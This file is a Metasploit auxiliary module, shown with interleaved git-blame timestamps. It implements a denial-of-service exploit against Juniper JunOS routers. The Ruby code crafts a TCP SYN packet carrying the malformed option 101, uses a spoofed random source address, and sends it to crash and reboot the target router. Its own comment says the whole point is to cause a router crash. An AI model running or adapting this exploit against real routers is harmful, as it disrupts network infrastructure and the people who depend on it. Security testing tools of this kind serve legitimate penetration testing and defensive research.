2010-02-02 17:19:14 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2010-02-02 17:19:14 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-02-02 17:19:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Capture
|
|
|
|
include Msf::Auxiliary::Dos
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# The whole point is to cause a router crash.
|
|
|
|
Rank = ManualRanking
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Juniper JunOS Malformed TCP Option',
|
|
|
|
'Description' => %q{ This module exploits a denial of service vulnerability
|
|
|
|
in Juniper Network's JunOS router operating system. By sending a TCP
|
|
|
|
packet with TCP option 101 set, an attacker can cause an affected
|
|
|
|
router to reboot.
|
|
|
|
},
|
|
|
|
'Author' => 'todb',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['BID', '37670'],
|
|
|
|
['OSVDB', '61538'],
|
|
|
|
['URL','http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/']
|
|
|
|
]
|
|
|
|
)
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options([
|
|
|
|
OptInt.new('RPORT', [false, 'The destination port (defaults to random)']),
|
|
|
|
OptInt.new('SPORT', [false, 'Source port (defaults to random)']),
|
|
|
|
OptAddress.new('SHOST', [false, 'Source address (defaults to random)'])
|
|
|
|
])
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options('FILTER','PCAPFILE', 'SNAPLEN')
|
|
|
|
end
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def rport
|
|
|
|
datastore['RPORT'].to_i.zero? ? rand(0xffff) : datastore['RPORT'].to_i
|
|
|
|
end
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def sport
|
|
|
|
datastore['SPORT'].to_i.zero? ? rand(0xffff) : datastore['SPORT'].to_i
|
|
|
|
end
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def shost
|
|
|
|
datastore['SHOST'] || IPAddr.new(rand(0xffffffff), Socket::AF_INET).to_s
|
|
|
|
end
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
2010-02-02 17:19:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
open_pcap
|
2011-11-20 02:12:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
p = PacketFu::TCPPacket.new
|
|
|
|
p.ip_daddr = rhost
|
|
|
|
p.ip_saddr = shost
|
|
|
|
p.ip_ttl = rand(128) + 128
|
|
|
|
p.tcp_sport = sport
|
|
|
|
p.tcp_dport = rport
|
|
|
|
p.tcp_flags.syn = 1
|
|
|
|
p.tcp_win = rand(4096)+1
|
|
|
|
p.tcp_opts = "e\x02\x01\x00" # Opt 101, len 2, nop, eol
|
|
|
|
p.recalc
|
|
|
|
print_status("#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}")
|
|
|
|
capture_sendto(p,rhost)
|
|
|
|
close_pcap
|
|
|
|
end
|
2010-02-02 17:19:14 +00:00
|
|
|
end
|